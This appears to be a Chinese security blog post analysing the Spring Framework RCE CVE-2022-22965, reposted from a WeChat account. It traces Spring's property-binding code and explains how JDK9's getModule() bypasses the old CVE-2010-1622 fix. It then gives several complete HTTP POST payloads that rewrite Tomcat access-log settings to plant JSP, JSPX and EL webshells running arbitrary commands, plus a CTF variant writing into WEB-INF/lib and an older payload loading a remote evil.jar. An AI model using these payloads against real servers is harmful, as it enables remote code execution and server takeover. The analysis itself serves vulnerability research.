CVE-2022-22965分析

admin 2022年4月23日11:42:11评论69 views字数 14104阅读47分0秒阅读模式

一、    CVE-2010-1622

spring的这个漏洞实际上是CVE-2010-1622的绕过,在绕过的同时结合了S2-020的利用方法。
环境可从docker中获取,

docker pull vulfocus/spring-core-rce-2022-03-29
要求,spring mvc+tomcat+jdk9+版本,这里我拉取了war包,用的tomcat8.5+jdk11。
存在漏洞的接口写法如下。

    @RequestMapping({"/ok"})    public String test(User user) {                return "ok";    }


class User {    private String username;
public String getUsername() { return this.username; }
public void setUsername(String username) { this.username = username; }}

这种在MVC中称之为自定义对象类型参数绑定,如果传递username/Username,会自动调setUsername,属于比较常见的配置。

在CVE-2010-1622中,是利用如下payload做攻击的。

class.classLoader.delegate=falseclass.classLoader.URLs[0]=jar:http://localhost/evil.jar!/


原理在于spring参数绑定时,调setter的底层原理。
我们在setUsername下断点,然后访问/ok?username=test,堆栈如下。

CVE-2022-22965分析

BeanWrapperImpl(AbstractPropertyAccessor).setPropertyValues()中,

    public void setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)            throws BeansException {
List<PropertyAccessException> propertyAccessExceptions = null; List<PropertyValue> propertyValues = (pvs instanceof MutablePropertyValues ? ((MutablePropertyValues) pvs).getPropertyValueList() : Arrays.asList(pvs.getPropertyValues()));
if (ignoreUnknown) { this.suppressNotWritablePropertyException = true; } try { for (PropertyValue pv : propertyValues) { try { setPropertyValue(pv); }

轮循propertyValues去执行setPropertyValue(pv),这里propertyValues就是我们在http所有的传参。
然后跳过中间的直接来到BeanWrapperImpl(AbstractNestablePropertyAccessor).processLocalProperty(),只看第一行和最后一行。

    private void processLocalProperty(PropertyTokenHolder tokens, PropertyValue pv) {        PropertyHandler ph = getLocalPropertyHandler(tokens.actualName);...            ph.setValue(valueToApply);        }

获取了ph,用pd来设置值。ph有个属性pd,pd有个属性writeMethod,正是User.setUsername()。

CVE-2022-22965分析

因此,后面的BeanWrapperImpl$BeanPropertyHandler.setValue()就是从这里拿到setUsername,进行反射invoke。

        public void setValue(@Nullable Object value) throws Exception {            Method writeMethod = (this.pd instanceof GenericTypeAwarePropertyDescriptor ?                    ((GenericTypeAwarePropertyDescriptor) this.pd).getWriteMethodForActualAccess() :                    this.pd.getWriteMethod());            if (System.getSecurityManager() != null) {                AccessController.doPrivileged((PrivilegedAction<Object>) () -> {                    ReflectionUtils.makeAccessible(writeMethod);                    return null;                });                try {                    AccessController.doPrivileged((PrivilegedExceptionAction<Object>)                            () -> writeMethod.invoke(getWrappedInstance(), value), acc);                }                catch (PrivilegedActionException ex) {                    throw ex.getException();                }            }            else {                ReflectionUtils.makeAccessible(writeMethod);                writeMethod.invoke(getWrappedInstance(), value);            }        }

那么writeMethod在哪里获取的呢?就得去追踪ph的构造,我们重新在BeanWrapperImpl.getLocalPropertyHandler()下断点。

    protected BeanPropertyHandler getLocalPropertyHandler(String propertyName) {        PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(propertyName);        return (pd != null ? new BeanPropertyHandler(pd) : null);    }

跟进BeanWrapperImpl.getCachedIntrospectionResults()

    private CachedIntrospectionResults getCachedIntrospectionResults() {        if (this.cachedIntrospectionResults == null) {            this.cachedIntrospectionResults = CachedIntrospectionResults.forClass(getWrappedClass());        }        return this.cachedIntrospectionResults;    }

是在给cachedIntrospectionResults属性赋值,跟进getWrappedClass(),发现就是返回User类。

    public final Object getWrappedInstance() {        Assert.state(this.wrappedObject != null, "No wrapped object");        return this.wrappedObject;    }
public final Class<?> getWrappedClass() { return getWrappedInstance().getClass(); }

然后跟进CachedIntrospectionResults.forClass()

    static CachedIntrospectionResults forClass(Class<?> beanClass) throws BeansException {        CachedIntrospectionResults results = strongClassCache.get(beanClass);        if (results != null) {            return results;        }

如果是第一次运行(tomcat启动后第一次访问/ok),strongClassCache缓存为空,继续向下执行。

        results = softClassCache.get(beanClass);        if (results != null) {            return results;        }
results = new CachedIntrospectionResults(beanClass);

跟进CachedIntrospectionResults(),在这里完成对writeMethod以及readMethod的注册。

    private CachedIntrospectionResults(Class<?> beanClass) throws BeansException {        try {            if (logger.isTraceEnabled()) {                logger.trace("Getting BeanInfo for class [" + beanClass.getName() + "]");            }            this.beanInfo = getBeanInfo(beanClass);
if (logger.isTraceEnabled()) { logger.trace("Caching PropertyDescriptors for class [" + beanClass.getName() + "]"); } this.propertyDescriptors = new LinkedHashMap<>();
Set<String> readMethodNames = new HashSet<>();
// This call is slow so we do it once. PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors(); for (PropertyDescriptor pd : pds) { if (Class.class == beanClass && ("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) { // Ignore Class.getClassLoader() and getProtectionDomain() methods - nobody needs to bind to those continue; } if (logger.isTraceEnabled()) { logger.trace("Found bean property '" + pd.getName() + "'" + (pd.getPropertyType() != null ? " of type [" + pd.getPropertyType().getName() + "]" : "") + (pd.getPropertyEditorClass() != null ? "; editor [" + pd.getPropertyEditorClass().getName() + "]" : "")); } pd = buildGenericTypeAwarePropertyDescriptor(beanClass, pd); this.propertyDescriptors.put(pd.getName(), pd); Method readMethod = pd.getReadMethod(); if (readMethod != null) { readMethodNames.add(readMethod.getName()); } }

而这里我们就会发现pds中存在两个pd,一个是class,一个是username。java中万物皆对象,User对象本身也可以执行getClass(),因此getClass也被算作了一个bean。

CVE-2022-22965分析

而且这里我们可以明显看得到当beanClass为Class.class时,不去注册classLoader bean的代码。这正是CVE-2010-1622的修复方案。

往后还有对父类的getter的注册,注册完后返回pd对象回到getLocalPropertyHandler(),跟进CachedIntrospectionResults.getPropertyDescriptor()

    PropertyDescriptor getPropertyDescriptor(String name) {        PropertyDescriptor pd = this.propertyDescriptors.get(name);        if (pd == null && StringUtils.hasLength(name)) {            // Same lenient fallback checking as in Property...            pd = this.propertyDescriptors.get(StringUtils.uncapitalize(name));            if (pd == null) {                pd = this.propertyDescriptors.get(StringUtils.capitalize(name));            }        }        return pd;    }

propertyDescriptors中有两个KV,一个是class,一个是username这是我们知道的,这里取出了username对应的pd,然后还做了首字母大小写的兼容性。确保pd一定能取出。
pd取出之后就是后续的反射执行setter了。

那么如何执行getter呢。
使用CVE-2010-1622的payload去尝试,断点不变,看看代码有何变化。

class.classLoader.delegate=false

可以发现,在BeanWrapperImpl(AbstractNestablePropertyAccessor).setPropertyValue()中,由于取不到tokens,进入if分支执行了

BeanWrapperImpl(AbstractNestablePropertyAccessor).getPropertyAccessorForPropertyPath()    。    public void setPropertyValue(PropertyValue pv) throws BeansException {        PropertyTokenHolder tokens = (PropertyTokenHolder) pv.resolvedTokens;        if (tokens == null) {            String propertyName = pv.getName();            AbstractNestablePropertyAccessor nestedPa;            try {                nestedPa = getPropertyAccessorForPropertyPath(propertyName);            }

跟进后发现,是以点来分割,依次执行getter/setter。

    protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {        int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);        // Handle nested properties recursively.        if (pos > -1) {            String nestedProperty = propertyPath.substring(0, pos);            String nestedPath = propertyPath.substring(pos + 1);            AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);            return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);        }        else {            return this;        }    }

判断点和结束在PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex()中。如果能分离出一个getter,就会依次进入
BeanWrapperImpl(AbstractNestablePropertyAccessor).getNestedPropertyAccessor()
BeanWrapperImpl(AbstractNestablePropertyAccessor).getPropertyValue()

BeanWrapperImpl$BeanPropertyHandler.getValue()
最后反射执行getter。

        public Object getValue() throws Exception {            Method readMethod = this.pd.getReadMethod();            if (System.getSecurityManager() != null) {                AccessController.doPrivileged((PrivilegedAction<Object>) () -> {                    ReflectionUtils.makeAccessible(readMethod);                    return null;                });                try {                    return AccessController.doPrivileged((PrivilegedExceptionAction<Object>)                            () -> readMethod.invoke(getWrappedInstance(), (Object[]) null), acc);                }                catch (PrivilegedActionException pae) {                    throw pae.getException();                }            }            else {                ReflectionUtils.makeAccessible(readMethod);                return readMethod.invoke(getWrappedInstance(), (Object[]) null);            }        }

如果到了结尾,则返回this,在BeanWrapperImpl(AbstractNestablePropertyAccessor).setPropertyValue()向下有个if,是判断返回值是否为if的,是if就进入BeanWrapperImpl(AbstractPropertyAccessor).setPropertyValues(),即执行setter的部分。

            if (nestedPa == this) {                pv.getOriginalPropertyValue().resolvedTokens = tokens;            }            nestedPa.setPropertyValue(tokens, pv);        }

至此,整个CVE-2010-1622漏洞的引发流程分析完毕,因为自定义对象类型参数绑定的特性,导致我们可以利用自定义User类的getClass().getClassLoader()这样一路利用getter以及最终的setter,进行符合条件的属性修改。


二、    CVE-2010-1622的绕过

这个漏洞发布的时候应该还没有jdk9,因此到了今天,有人发现jdk9的module特性可以绕过修复方案。
可以看到jdk9新增了module类,可以由getClass().getModule()获取,而它也存在getClassLoader()方法。至此我们又可以通过任意符合条件的属性了。

    public Module getModule() {        return module;    }


    public ClassLoader getClassLoader() {        SecurityManager sm = System.getSecurityManager();        if (sm != null) {            sm.checkPermission(SecurityConstants.GET_CLASSLOADER_PERMISSION);        }        return loader;    }



三、    S2-020

虽然绕过了补丁,但之前的利用setter都失效了,漏洞的发现者很显然从类似的漏洞中得到了灵感。S2-020正是一个同类型的漏洞,而且它有着改写tomcat日志属性的方法来getshell。
https://blog.csdn.net/god_7z1/article/details/24416717
因此很容易得出POC。

POST /ok? HTTP/1.1Host: localhost:8080Content-Type: application/x-www-form-urlencodedContent-Length: 323
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

可以看到日志路径被修改了。

CVE-2022-22965分析

这些属性同时也记录在tomcat的配置文件server.xml中。

CVE-2022-22965分析

但这样无法像apache一样利用url路径或者User-Agent写入webshell。
需要用到class.module.classLoader.resources.context.parent.pipeline.first.pattern属性。
这个属性可以用%{}i做变量来记录header,这个百分号和一般的webshell冲突了,我们可以用jspx webshell解决。

POST /ok? HTTP/1.1Host: localhost:8080Content-Type: application/x-www-form-urlencodedContent-Length: 628
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /><jsp:scriptlet>Runtime.getRuntime().exec(request.getParameter("i"));</jsp:scriptlet></jsp:root>&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

但由于xml比较规范,测试和实战的时候很容易在前后夹杂脏数据导致失效。因此还可以用el表达式webshell。

POST /ok? HTTP/1.1Host: localhost:8080Content-Type: application/x-www-form-urlencodedContent-Length: 598
class.module.classLoader.resources.context.parent.pipeline.first.pattern=${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()")}&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

还可以利用header来避免百分号冲突的问题,不过在header中双引号又被转义了,因此必须结合起来利用。

POST /ok? HTTP/1.1Host: localhost:8080first: <%Runtime.getRuntime().exec(end: );%>Content-Type: application/x-www-form-urlencodedContent-Length: 426
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{first}i"calc"%25{end}i&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=wtpwebapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=


注意,由于tomcat记录日志的特性,在fileDateFormat变化的时候才会生成新的文件,所以如果写砸了一个webshell,修改fileDateFormat为其他数字即可。



四、    探索其他利用方法

在分析CVE-2010-1622时,我们知道了class.module.classLoader首字母可以大写。
在S2-020中,还有人提出了修改解析目录,这样约等于任意文件读取。
class.classLoader.resources.dirContext.docBase
但是实际测试无法成功,可能是tomcat版本问题。

我们可以参考S2-020的文章,写出所有可能修改的属性,我这里只保留了string的setter,实际上int和boolean的也可能有用。

    @RequestMapping({"/ok"})    public String test(User user) {                java.util.HashSet set = new java.util.HashSet<Object>();        String poc = "class.module.classLoader";        ClassLoader classLoader = user.getClass().getClassLoader();        try {            processClass(classLoader,set,poc);        } catch (IOException e) {        }                return "ok";    }        public void processClass(Object instance, java.util.HashSet set, String poc) throws java.io.IOException{        try {            Class<?> c = instance.getClass();            set.add(instance);            Method[] allMethods = c.getMethods();            for (Method m : allMethods) {            if (!m.getName().startsWith("set")) {                continue;            }            if (!m.toGenericString().startsWith("public")) {                continue;            }            Class<?>[] pType  = m.getParameterTypes();            if(pType.length!=1) continue;                        if(pType[0].getName().equals("java.lang.String")//||pType[0].getName().equals("boolean")||pType[0].getName().equals("int")                    ){                String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);                System.out.println(poc+"."+fieldName );            }            }            for (Method m : allMethods) {            if (!m.getName().startsWith("get")) {                continue;            }            if (!m.toGenericString().startsWith("public")) {                continue;            }                    Class<?>[] pType  = m.getParameterTypes();            if(pType.length!=0) continue;            if(m.getReturnType() == Void.TYPE) continue;            Object o = m.invoke(instance);            if(o!=null)            {                if(set.contains(o)) continue;                processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));                }             }        } catch (java.lang.IllegalAccessException x) {        } catch (java.lang.reflect.InvocationTargetException x) {        }         }    }


同时,在ClassLoader classLoader处下断点,可以在idea中检查哪些属性对我们可能有用。

CVE-2022-22965分析



五、    ctf的思路

在一次CTF中,限制了严苛的jsp webshell写入,导致只能用el表达式设置属性,造成了和此次漏洞几乎一样的环境。
https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247488297&idx=1&sn=cc3db8ffe79c0340215d24fbc6800f7d

POST /ok? HTTP/1.1Host: localhost:8080Content-Type: application/x-www-form-urlencodedContent-Length: 173
class.module.classLoader.resources.context.reloadable=true&class.module.classLoader.resources.context.parent.appBase=/


POST /ok? HTTP/1.1Host: localhost:8080Content-Type: application/x-www-form-urlencodedContent-Length: 340
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/WEB-INF/lib&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=


GET /conf/server.xml HTTP/1.1Host: localhost:8080Content-Type: application/x-www-form-urlencodedContent-Length: 0


CVE-2022-22965分析


不过很遗憾,由于要触发reload,还是要利用日志往WEB-INF/lib中写文件,而且破坏性更大。

该ctf还有利用SESSIONS.ser写webshell的办法,不过也需要触发reload写文件,使得该办法没有意义。
class.module.classLoader.resources.context.manager.pathname


































原文始发于微信公众号(珂技知识分享):CVE-2022-22965分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日11:42:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-22965分析http://cn-sec.com/archives/913530.html

发表评论

匿名网友 填写信息